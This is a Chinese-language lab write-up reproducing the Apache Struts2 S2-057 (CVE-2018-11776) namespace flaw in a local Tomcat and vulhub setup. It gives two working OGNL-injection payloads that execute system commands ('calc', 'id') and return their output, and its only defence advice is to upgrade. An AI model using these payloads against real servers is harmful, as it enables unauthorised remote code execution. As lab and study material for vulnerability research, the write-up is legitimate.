Apache struts2 namespace远程命令执行_CVE-2018-11776(S2-057)漏洞复现
一、漏洞描述
S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到xml上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码,以及系统命令到服务器系统中去 。
二、漏洞影响版本
Apache struts 2.3-Apache struts 2.3.34
Apache struts 2.5-Apache struts 2.5.16
三、漏洞环境搭建以及复现
Win7+tomcat7.0+struts-2.5.16
1、下载struts 2.5.16官方示例showcase
2、把下载的struts2-showcase放到tomcat的webapps目录下
3、修改struts-actionchaining.xml,发现有两处需要修改
4、修改struts-actionchaining.xml,将namespace删除, 将 result 类型改为 redirectAction
修改为如下:
<struts>
<package name="actionchaining" extends="struts-default">
<action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
<result type="redirectAction">
<param name = "actionName">register2</param>
</result>
</action>
</package>
</struts>
5、重启tomcat
6、浏览器访问http://192.168.10.230:8080/struts2-showcase/,漏洞环境成功搭建
7、此漏洞利用很简单,只需要在url构造ognl表达式,再加上配置文件中的action标签中的name属性值,并以.action结尾
浏览器访问http://192.168.10.230:8080/struts2-showcase/${100*100}/actionChain1.action,会执行 Ognl 表达式 ${100*100}
8、路径跳转到我们在配置的action文件路径下,到此,S2-057漏洞被成功的利用了
9、弹计算器,但是在目标没有弹出计算器
Poc如下:
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),#jas502n.println(#d ),#jas502n.close())}
四、漏洞防御
1、 升级最新版本
使用docker搭建
1、利用docker搭建vulhub漏洞环境
docker-compose up -d
2、 启动环境后,访问http://172.17.0.1:8080/struts2-showcase/
3、burp抓包,修改包如下,说明存在漏洞
4、使用poc验证
POC如下:
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
5、把poc替换相应的位置,验证说明存在漏洞 #poc需要url编码
-----------------------------------------------------------------------------------------------------------
参考:https://github.com/vulhub/vulhub/tree/master/struts2/s2-057
原文出处:https://www.cnblogs.com/yuzly/p/11186012.html
来源:oschina
链接:https://my.oschina.net/u/4263785/blog/3258990